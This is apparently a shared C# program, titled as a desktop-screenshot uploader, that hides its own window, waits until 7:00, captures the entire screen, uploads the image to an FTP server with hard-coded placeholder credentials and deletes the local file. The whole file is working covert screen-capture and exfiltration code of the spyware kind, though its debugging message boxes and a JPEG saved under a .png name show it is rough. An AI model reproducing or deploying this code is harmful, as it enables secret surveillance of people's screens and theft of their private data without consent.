Upload screenshot of desktop with FTP Server

Program.cs

using System;
using System.Collections.Generic;
using System.Text;
using System.Drawing;
using System.Windows.Forms;
using System.Runtime.Remoting.Messaging;
using System.Runtime.InteropServices;
using static System.Net.Mime.MediaTypeNames;
using System.Drawing.Imaging;
using System.Net;
using System.IO;
using System.Diagnostics;

namespace Rev1
{
    class Program
    {
        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        [STAThread]
        public static void Main(string[] args)
        {
            IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
            ShowWindow(h, 0);
            Program hh = new Program();
            while (true)
            {
                DateTime now = DateTime.Now;
                string datenoew = now.Hour.ToString() + ":" + now.Minute.ToString();
                MessageBox.Show(datenoew);
                System.Threading.Thread.Sleep(60000);
                if (datenoew =="7:0")
                {
                    hh.UploadToFTP();
                }
            }
        }

        public string Photosc()
        {
                Rectangle bounds = Screen.GetBounds(Point.Empty);
                using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
                {
                    using (Graphics g = Graphics.FromImage(bitmap))
                    {
                        g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
                    }
                    string fileName = System.Environment.MachineName+DateTime.Now.ToString("(dd_MMMM_hh_mm_ss_tt)") + ".png";
                    bitmap.Save(fileName, ImageFormat.Jpeg);
                 return fileName;
                 }
        }

        public void UploadToFTP()
        {
            try
            {
            //System.Threading.Thread.Sleep(5000);
            string server = "ftp://server";
            string name  = Photosc();
            string Imagename = Path.GetFileName(name);
            FtpWebRequest request = (FtpWebRequest)WebRequest.Create(new Uri(string.Format("{0}{1}", server, Imagename)));
            request.Method = WebRequestMethods.Ftp.UploadFile;
            request.Credentials = new NetworkCredential("user", "password");
            request.KeepAlive = false;
            request.UseBinary = true;
            request.UsePassive = true;
            request.Proxy = null;
            Stream ftpStream = request.GetRequestStream();
            FileStream fs = File.OpenRead(name);
            byte[] buffer = new byte[1024];
            int byteRead = 0;
            do
            {
                byteRead = fs.Read(buffer, 0, 1024);
                ftpStream.Write(buffer, 0, byteRead);
            }
            while (byteRead != 0);
            fs.Close();
            ftpStream.Close();
            MessageBox.Show("Image Upload successfully!!");
            File.Delete(name);
            }
            catch(Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
    }
}